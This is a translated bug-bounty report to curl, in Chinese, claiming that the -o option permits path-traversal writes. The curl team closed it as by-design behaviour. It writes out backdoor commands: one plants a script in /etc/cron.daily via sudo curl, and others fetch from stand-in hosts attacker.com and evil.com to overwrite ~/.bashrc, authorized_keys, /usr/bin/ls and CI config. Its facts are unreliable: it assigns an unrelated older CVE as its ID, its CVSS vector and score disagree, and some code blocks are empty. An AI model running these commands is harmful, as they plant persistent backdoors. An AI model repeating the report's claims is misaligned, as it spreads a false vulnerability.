[高危] cURL CLI 通过路径遍历实现任意文件写入(CWE-22:路径名限制不当)
摘要
cURL 的 -o / --output 参数未对文件路径进行限制或清理。当传递相对遍历序列(例如 ../../)时,cURL 会将文件写入当前工作目录之外,允许任意文件覆盖。在自动化或特权环境(如 CI/CD、root 容器)中,这会导致远程代码执行(RCE)、权限提升和供应链风险。
此行为在 cURL 嵌入脚本或以提升权限运行时违反了路径安全预期。
受影响版本
- 受影响组件:cURL CLI
- 受影响版本:cURL 7.64.0 至 8.4.0(已在 7.64.0、7.79.1、7.85.0、8.4.0 测试)
- 测试平台:Linux(Debian)、macOS、Alpine(Docker)
- 最新测试版本:curl 7.85.0 (x86_64-pc-linux-gnu) libcurl/7.85.0 OpenSSL/3.0.2
技术根本原因
|
|
未执行规范化(未使用 realpath()),cURL 允许任何相对/绝对路径。这创建了写入敏感区域(例如 /etc/、$HOME/.ssh/、~/.bashrc)的原语。
复现步骤
先决条件
- 文件目标可由当前用户写入(或使用 root 以显示完整影响)。
- 可在无用户交互的情况下自动化或脚本化。
利用
- 启动 Web 服务器:
1python3 -m http.server 8000 - 运行易受攻击的 cURL:
1sudo curl http://localhost:8000/backdoor.sh -o "../../etc/cron.daily/zzz-backdoor" - 检查结果:
在下次 cron 运行时,
1 2ls -l /etc/cron.daily/zzz-backdoor cat /etc/cron.daily/zzz-backdoorzzz-backdoor将以 root 权限执行。
其他利用场景
- Docker 容器(特权):
1docker run --privileged alpine sh -c 'curl http://attacker.com/x.sh -o /usr/bin/ls' - CI/CD 管道(供应链注入):
1 2script: - curl http://evil.com -o "../../.gitlab-ci.yml" - 用户级利用:
1 2curl http://evil.com -o "~/.bashrc" curl http://evil.com/key.pub -o "~/.ssh/authorized_keys"
CVSS v3.1 基础评分:7.8(高危)
- AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
缓解与建议
修复建议
在写入前规范化和验证路径:
|
|
支持证据
- 源代码参考:src/tool_cfgable.c#L512
- 类似 CVE:CVE-2020-8284(cURL FTP 路径遍历,已在 7.73.0 修复)
- CWE:CWE-22
影响
| 向量 | 描述 |
|---|---|
| 任意文件写入 | 覆盖用户可访问的任何文件 |
| 权限提升 | 覆盖 /etc/sudoers、/etc/passwd 或 root 拥有的 cron 作业 |
| RCE / 持久化 | 通过登录脚本、bashrc 或 CI/CD 配置覆盖后门 |
| 供应链注入 | 脚本化或基于容器的安装自动运行攻击者负载 |
时间线
- 2025年5月1日, 6:30am UTC:oicus 向 curl 提交报告。
- 2025年5月1日, 6:41am UTC:curl 员工 dfandrich 评论称此为设计行为,用户是主导者。
- 2025年5月1日, 9:30am UTC:curl 员工 bagder 关闭报告,状态改为“不适用”。
- 2025年5月2日, 4:40am UTC:curl 员工 jimfuller2024 同意同事评论,补充指出使用
sudo curl时用户为 root,可执行各种恶意操作。 - 2025年6月28日, 12:24pm UTC:bagder 请求披露此报告。
- 2025年6月30日, 6:55pm UTC:bagder 披露此报告。
报告详情
- 报告日期:2025年5月1日, 6:30am UTC
- 报告者:oicus
- 报告对象:curl
- 报告 ID:#3120987
- 严重性:高危(7 ~ 8.9)
- 披露日期:2025年6月30日, 6:55pm UTC
- 弱点:路径遍历
- CVE ID:CVE-2020-8284
- 奖金:无
- 账户详情:无
注意:curl 团队认为此行为是设计使然,并非安全漏洞。用户应谨慎使用 cURL 命令,避免在特权环境中使用不受信任的路径参数。